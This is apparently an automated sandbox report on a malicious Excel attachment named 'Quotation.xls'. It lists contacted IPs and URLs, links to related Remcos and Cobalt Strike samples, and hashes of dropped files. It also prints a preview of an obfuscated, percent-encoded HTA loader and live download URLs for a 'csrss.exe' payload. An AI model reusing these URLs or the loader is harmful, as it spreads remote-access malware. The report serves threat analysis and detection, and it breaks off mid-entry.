http://crl.entrust.net/server1.crl0	powershell.exe, 00000007.00000002.455975386.000000001C428000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C44B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/nativeaot-compatibilityy	winiti.exe, 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe, 0000000B.00000000.447217263.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe, 0000000B.00000002.451807346.0000000143000000.00000004.00001000.00020000.00000000.sdmp, winiti.exe, 00000016.00000002.484524464.0000000142800000.00000004.00001000.00020000.00000000.sdmp, winiti.exe, 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe, 00000016.00000000.481803220.000000013F78B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe.7.dr, csrss[1].exe.7.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000007.00000002.453446463.0000000012451000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta...b	mshta.exe, 00000010.00000003.469460377.00000000002B6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.92.245.100/xampp/ebcd/eb/gdfvr.htahttp://91.92.245.100/xampp/ebcd/eb/gdfvr.hta	mshta.exe, 00000010.00000003.473435491.0000000002A65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.474035843.0000000002A65000.00000004.00000800.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://91.92.245.100/xampp/ebcd/eb/gdfvr.htaoso	mshta.exe, 00000004.00000002.426650373.0000000000197000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.421936825.000000000019C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.92.245.100/xampp/ebcd/eb/gdfvr.htaic	mshta.exe, 00000010.00000002.475597397.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.475195108.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.475273547.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.469460377.00000000002B6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.92.245.100/xampp/ebcd/eb/gdfvr.htaP	mshta.exe, 00000010.00000002.475855460.0000000003A80000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tny.wtf/jjJsPXM	mshta.exe, 00000010.00000002.475597397.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.475195108.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.475273547.00000000002B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000003.469460377.00000000002B6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tny.wtf/jjJsPXa	mshta.exe, 00000010.00000002.475550897.000000000022A000.00000004.00000020.00020000.00000000.sdmp	true	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://91.92.245.100/	mshta.exe, 00000004.00000002.426650373.0000000000197000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.421936825.000000000019C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000010.00000002.475855460.0000000003A80000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tny.wtf/jjJsPXe	mshta.exe, 00000010.00000002.475550897.000000000022A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://107.173.143.46/T2507F/csrss.exem1	powershell.exe, 00000013.00000002.489480770.000000001C2B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/nativeaot-compatibilityY	csrss[1].exe.7.dr	false		unknown
https://aka.ms/nativeaot-compatibilityX	winiti.exe, 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aka.ms/GlobalizationInvariantMode	winiti.exe, winiti.exe, 00000016.00000002.484524464.0000000142800000.00000004.00001000.00020000.00000000.sdmp, winiti.exe, 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe, 00000016.00000000.481803220.000000013F78B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe, 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmp, winiti.exe.7.dr, csrss[1].exe.7.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://secure.comodo.com/CPS0	powershell.exe, 00000007.00000002.455975386.000000001C428000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C44B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C3C0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://91.92.245.100/xampp/ebcd/eb/gdfvr.htat	mshta.exe, 00000004.00000002.426650373.0000000000173000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.421936825.0000000000173000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/2048ca.crl0	powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://91.92.245.100/xampp/ebcd/eb/gdfvr.htao	mshta.exe, 00000004.00000002.429059359.000000000338C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
91.92.245.100	unknown	Bulgaria	34368	THEZONEBG	false
107.173.143.46	unknown	United States	36352	AS-COLOCROSSINGUS	false
188.114.96.3	tny.wtf	European Union	13335	CLOUDFLARENETUS	false
178.237.33.50	geoplugin.net	Netherlands	8455	ATOM86-ASATOM86NL	false
23.95.60.82	unifrieghtmovers.com	United States	36352	AS-COLOCROSSINGUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1482857
Start date and time:	2024-07-26 09:28:36 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Quotation.xls
Detection:	MAL
Classification:	mal100.phis.troj.spyw.expl.evad.winXLS@29/32@6/5
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .xls Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Active ActiveX Object Scroll down Close Viewer Override analysis time to 63736.6357706607 for current running targets taking high CPU consumption Override analysis time to 127473.271541321 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe, svchost.exe
Execution Graph export aborted for target mshta.exe, PID 3296 because there are no executed function
Execution Graph export aborted for target mshta.exe, PID 3828 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:29:56	API Interceptor	74x Sleep call for process: mshta.exe modified
03:30:00	API Interceptor	159x Sleep call for process: powershell.exe modified
03:30:14	API Interceptor	3904387x Sleep call for process: InstallUtil.exe modified

LLM Input / Output

Input

Output

URL: Office document Model: gpt-4o

```json
{
  "riskscore": 9,
  "reasons": "The screenshot contains a visually prominent Microsoft Office logo and text stating 'This document is protected,' which can mislead users into thinking it is a legitimate document. The instructions provided create a sense of urgency by stating 'Open the document in Microsoft Office' and 'If this document was downloaded from your email, please click Enable Editing from the yellow bar above.' This language is designed to prompt immediate action. The use of a well-known brand (Microsoft Office) adds to the credibility of the document, increasing the likelihood of users following the instructions without suspicion. The sense of urgency is directly connected to the prominent instructions, making it highly likely that the document is designed to deceive users into enabling potentially harmful content."
}

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
91.92.245.100	MV ENISHI V.53Y.xls	Get hash	malicious	Unknown	Browse	91.92.245.100/W1007T/csrss.exe
107.173.143.46	Quotation.xls	Get hash	malicious	Remcos	Browse	107.173.143.46/T2307W/csrss.exe
	Quotation.xls	Get hash	malicious	Remcos	Browse	107.173.143.46/T1607W/csrss.exe
	gdfvr.hta	Get hash	malicious	Cobalt Strike	Browse	107.173.143.46/M1507T/csrss.exe
	Quotation.xls	Get hash	malicious	Unknown	Browse	107.173.143.46/M1507T/csrss.exe
188.114.96.3	xptRc4P9NV.exe	Get hash	malicious	Unknown	Browse	api.keyunet.cn/v3/Project/appInfo/65fc6006
	LisectAVT_2403002B_448.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.universitetrading.com/hfhf/?6lBX5p6=0/2bsV2tZWehMRII3oIkv/ztWj8eLfm1RPHJ5DhA9wGKWMCN0u1aqYIHkCdH1AqUUdYe&Kjsl=FbuD_t_HwtJdin
	LisectAVT_2403002B_89.exe	Get hash	malicious	CobaltStrike	Browse	cccc.yiuyiu.xyz/config.ini
	54.xls	Get hash	malicious	FormBook	Browse	tny.wtf/
	Order_490104.xls	Get hash	malicious	Unknown	Browse	tny.wtf/vb
	Order_490104.xls	Get hash	malicious	Unknown	Browse	tny.wtf/vb
	Scan copy.xls	Get hash	malicious	Unknown	Browse	tny.wtf/3VC
	Order_490104.xls	Get hash	malicious	Unknown	Browse	tny.wtf/vb
	SEL1685129 AMANOS.pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse	bshd1.shop/OP341/index.php
	S0042328241130.xls	Get hash	malicious	Remcos	Browse	tny.wtf/v0na

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
tny.wtf	#U00d6DEME TAVS#U0130YES#U0130.xls	Get hash	malicious	Remcos	Browse	188.114.97.3
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	PO S0042328241130.xls	Get hash	malicious	Remcos	Browse	188.114.97.3
	Scan copy.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	54.xls	Get hash	malicious	FormBook	Browse	188.114.97.3
	Order_490104.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
	Scan copy.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	Order_490104.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
geoplugin.net	LisectAVT_2403002A_101.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	LisectAVT_2403002A_407.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	LisectAVT_2403002A_431.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	IAENMAIL-A4-240717-0830-000090912_PDF.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	CDG__ Copia de Pagamento.pdf.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	CFS-0682-2-08 Order.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe	Get hash	malicious	Remcos, DBatLoader	Browse	178.237.33.50
	remcos.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	ogetback.doc	Get hash	malicious	Remcos	Browse	178.237.33.50
	S0042328241130.xls	Get hash	malicious	Remcos	Browse	178.237.33.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
THEZONEBG	LisectAVT_2403002A_62.exe	Get hash	malicious	RedLine	Browse	91.92.248.117
	LisectAVT_2403002A_97.exe	Get hash	malicious	DarkVision Rat	Browse	91.92.244.17
	67#U2464.hta	Get hash	malicious	Unknown	Browse	91.92.244.191
	LisectAVT_2403002B_73.exe	Get hash	malicious	Xmrig	Browse	91.92.248.9
	IJ8PamwVuJ.exe	Get hash	malicious	Xmrig	Browse	91.92.248.9
	https://ffb-bk.com?id=0119818877107560047	Get hash	malicious	Unknown	Browse	91.92.251.205
	cLPbKg0oEK.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	91.92.244.238
	July17_Payment43TR_D0812_U48927_H09824_W3892_K5087_F5902_DU8927_R491.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	91.92.255.36
	JCrqNf4UY3.elf	Get hash	malicious	Gafgyt	Browse	91.92.255.190
	A4ZSgdgW5Z.elf	Get hash	malicious	Gafgyt	Browse	91.92.255.190
AS-COLOCROSSINGUS	#U00d6DEME TAVS#U0130YES#U0130.xls	Get hash	malicious	Remcos	Browse	198.46.176.133
	BilseMHALF.rtf	Get hash	malicious	Unknown	Browse	172.245.123.11
	2FBexXRCHR.rtf	Get hash	malicious	AgentTesla	Browse	198.46.174.139
	DBytisGNuD.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	107.174.69.116
	LisectAVT_2403002A_101.exe	Get hash	malicious	Remcos	Browse	107.175.229.139
	LisectAVT_2403002A_111.exe	Get hash	malicious	Trickbot	Browse	108.174.60.238
	042240724.xls	Get hash	malicious	Remcos	Browse	198.46.176.133
	LisectAVT_2403002A_407.exe	Get hash	malicious	Remcos	Browse	107.175.229.139
	LisectAVT_2403002A_431.exe	Get hash	malicious	Remcos	Browse	107.175.229.139
	createdgoodthingswtihmewhilealot.gif.vbs	Get hash	malicious	Unknown	Browse	198.46.176.133
CLOUDFLARENETUS	invoice.docx.doc	Get hash	malicious	FormBook	Browse	188.114.96.3
	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	https://cloudflare-ipfs.com/ipfs/QmZe2ELun5aFwHyi9wE3DpfuUQM8RqExLq66jv64aV8BQd/#info@royaletruckservices.com.au	Get hash	malicious	HTMLPhisher	Browse	104.17.64.14
	new order 00041221.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	172.64.41.3
	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	162.159.61.3
	N#U00b0025498563-.pdf	Get hash	malicious	Unknown	Browse	172.64.41.3
	#U00d6DEME TAVS#U0130YES#U0130.xls	Get hash	malicious	Remcos	Browse	188.114.97.3
	6Vm1Ii4ASz.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	ynhHNexysa.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	15189
Entropy (8bit):	5.0343247648743
Encrypted:	false
SSDEEP:	384:nWraVoGIpN6KQkj2Lkjh4iUxTnaVjvCnS/OdBmRWDf:nW+V3IpNBQkj2Oh4iUxDaVjvCnS/OdBD
MD5:	7BC3FB6565E144A52C5F44408D5D80DF
SHA1:	C3C443BF9F29EAA84B0A580FD5469F4C5CC57F77
SHA-256:	EF6A75C051D70322EDCD5A89E6398CC00E3D860E87A0C7981310D30837CBA495
SHA-512:	D0A936BAF2277884518EDF4729F88DA74C7BAA5BBB58C1060CE66DE92A23694EA993CA69D8820816C5D28182E9A38EE59DE821EE3A73F0D85DBBC74D406285A5
Malicious:	false
Preview:	PSMODULECACHE.....8.......S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script..........V.7...?...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ISE\ISE.psd1........Import-IseSnippet........Get-IseSnippet........New-IseSnippet.........._.7...[...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\PSWorkflowUtility\

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\gdfvr[1].hta

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	HTML document, ASCII text, with very long lines (65498), with CRLF line terminators
Category:	modified
Size (bytes):	155101
Entropy (8bit):	2.413658699503682
Encrypted:	false
SSDEEP:	768:tZ6A3yXNA0AGAJUm7TggPjM1LhT7OgPgKf/Yg5QiXAZO:tPcp7we
MD5:	2C663F0E924C1B0773B65541F610DC2F
SHA1:	B6684F3EE0E305913B7B638F640CDB8A9BD7E3EF
SHA-256:	7D605835426F27A6FD60B5180B82F2B30AB498C860CF3CBB28B1D3FB32C58042
SHA-512:	501A33112CD28B8033A29562FF4B76DD9E57E49E7D848775FD5D3554E8B18C44A8B9AA459C61A529A9E556DFD73F154B15AC1DF475BBABF87E6335F051E3D6D3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Obshtml, Description: Yara detected obfuscated html page, Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\gdfvr[1].hta, Author: Joe Security
Preview:	<Script Language='Javascript'>.. ..document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%4A%61%76%61%53%63%72%69%70%74%3E%6D%3D%27%25%33%43%25%32%31%44%4F%43%54%59%50%45%25%32%30%68%74%6D%6C%25%33%45%25%30%41%25%33%43%6D%65%74%61%25%32%30%68%74%74%70%2D%65%71%75%69%76%25%33%44%25%32%32%58%2D%55%41%2D%43%6F%6D%70%61%74%69%62%6C%65%25%32%32%25%32%30%63%6F%6E%74%65%6E%74%25%33%44%25%32%32%49%45%25%33%44%45%6D%75%6C%61%74%65%49%45%38%25%32%32%25%32%30%25%33%45%25%30%41%25%33%43%68%74%6D%6C%25%33%45%25%30%41%25%33%43%62%6F%64%79%25%33%45%25%30%41%25%33%43%53%63%72%49%70%74%25%32%30%54%59%50%65%25%33%44%25%32%32%74%45%58%54%2F%76%42%73%63%52%69%50%74%25%32%32%25%33%45%25%30%41%64%49%4D%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\csrss[1].exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2673152
Entropy (8bit):	7.219441527091625
Encrypted:	false
SSDEEP:	49152:Og7eO7kjTav5AwVZGsY3uS+s1vm1lvt+vU0JSziMwqM:j7lmmUM7wq
MD5:	4FB3E6E7B8F9C12CD2D5E161F7B94760
SHA1:	57BDAD62C6EA7F1B905C900302F918D185811A94
SHA-256:	F76F9B85DF2BA8850BEC058164D2C752C8FD8EF0F1BCFFD793E5F453D8A839BB
SHA-512:	F762AD1CCD537D06C1CF3538E433671F441F100B06D37EC34B3A3E76DFBFAD40AC7CA50EE32297C54F628B0B89D75C2C5255166CC992F9BCFF8F117F70AA179A
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 22%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......`...$n.K$n.K$n.K..J-n.K..J(n.K..J.n.K-.Kn.Ko..J-n.K$n.K.n.K...J/n.K...J`n.K$n.K%n.K7.J%n.K7.FK%n.K7.J%n.KRich$n.K........PE..d...m.f.........."....(.....B.................@............................../...........`...........................................%.X...H.%......0(.......&..8............/.<...P.".T.....................".(.....".@...............0............................text...h........................... ..`.managed.q...0...r.................. ..`hydrated`................................rdata..&H.......J..................@..@.data.........&.."..................@....pdata...8....&..:..................@..@.rsrc........0(.......!.............@..@.reloc..<...../.......(.............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\json[1].json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.013811273052389
Encrypted:	false
SSDEEP:	12:tklu+mnd6CsGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zzkk:qlu+KdRNuKyGX85jvXhNlT3/7AcV9Wro
MD5:	18BC6D34FABB00C1E30D98E8DAEC814A
SHA1:	D21EF72B8421AA7D1F8E8B1DB1323AA93B884C54
SHA-256:	862D5523F77D193121112B15A36F602C4439791D03E24D97EF25F3A6CBE37ED0
SHA-512:	8DF14178B08AD2EDE670572394244B5224C8B070199A4BD851245B88D4EE3D7324FC7864D180DE85221ADFBBCAACB9EE9D2A77B5931D4E878E27334BF8589D71
Malicious:	false
Preview:	{. "geoplugin_request":"8.46.123.33",. "geoplugin_status":200,. "geoplugin_delay":"1ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7123",. "geoplugin_longitude":"-74.0068",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\379F14B3.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	3267664
Entropy (8bit):	4.082704780373106
Encrypted:	false
SSDEEP:	12288:A1J5JK5z3QGnjhjIwguslwv2WXKcnXfxp6ZamUknaN9HRo1tWwE1qCD8dt3iGnjF:An5qz3YwyaGb1swEwCat3wwKuWh1OwG
MD5:	F9C857D816E009A9156490C428628ED4
SHA1:	9DB00D7B2DFDDB8E9F27A405F5648E50F38B426E
SHA-256:	748FF1D68ABB7C846A6523DA96CFC391F4157BEEDECE2154442DE656D208B4D9
SHA-512:	56CCAD7C8B4223F314206F3624A6B72F951EC7BF9E0FB3290AF1FC5914A394F98740F1BFEA205253FBBB236359B56A96244F605BFD892AAC7A81FE6504D85068
Malicious:	false
Preview:	....l...........-...s...........!?..3X.. EMF....P.1.w...7...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'................3f.....%....................3f.....................................L...d...4...f...7...{...4...f...........!..............?...........?................................'.......................%...........(.......................L...d...............................$...!..............?...........?................................'...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3ACE5F18.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	3115944
Entropy (8bit):	3.99329520179585
Encrypted:	false
SSDEEP:	12288:Y1XKPI5R32GnjPjIwcusrwvsWXKcnXfxpMZacUkRaN7Hjo1PWw6D8dt3iGnjPjIp:YdKOR30wOSKx1Ow6at3wwKuWh1Own
MD5:	FBBB8E9329014CA73ED2E670C8853EFD
SHA1:	2F0AEDA9EAB65719760250474A879619E4FBB24D
SHA-256:	F16E8FFEFB183EB65B9EDC76BD56C3CCEA0D0E21743D5B771C8965D58BCCAA55
SHA-512:	1DA3B868B682608BB76A38B2FE3AF65ADEDD9775A7A824A495E595C6117F46D679AF6CC6ABD1835E47E0F270F51AA8D2BCE7562249CE7B81951B9D20F0C89A9F
Malicious:	false
Preview:	....l...........-...r...........QN...a.. EMF....../.C...)...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s..."...........!..............................................._...s...'...............ZZZ.....%...................ZZZ.....................................L...d...............p...............q...!..............?...........?................................'...............2.......%...........(...................2...L...d.......p...............p.......

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\85C1546B.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	3268792
Entropy (8bit):	4.078124759248305
Encrypted:	false
SSDEEP:	12288:x1E5MT523tGnjmjIwgusmwvpWXKcnXfxp7ZaTUkmaNoHko1CWwf1ExD8dt3iGnju:xi5e23gwyqyK1Bwf6xat3wwKuWh1Ow9
MD5:	D6E4983047BA5360C7AA0AABB151AD23
SHA1:	D3065FF6710DCE2EB4979BDBAAB0D827C3C90658
SHA-256:	0539F341B361AE77722D7E39B2201B420906261AD4A9204F026E990A060A6444
SHA-512:	31593D79E5DEE108800A2778451E31298EA5E7848340116CB5EE1D614707F4832C984BD5CCFD35E99BBDBD457177CD1A49764B77C90D9E03E3A3FDB417BD53D2
Malicious:	false
Preview:	....l...........u................D...`.. EMF......1.{...6.......................@...........................F...,... ...EMF+.@..................`...`...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...................................................#..."...........!...................................................#..."...........!...................................................#..."...........!...................................................#...'................3f.....%....................3f.....................................L...d.......R.......c.......R...........!..............?...........?................................'.......................%...........(.......................L...d...................................!..............?...........?................................'...

C:\Users\user\AppData\Local\Temp\2shkkccg.cfp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\5cxhwuvg.2ql.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
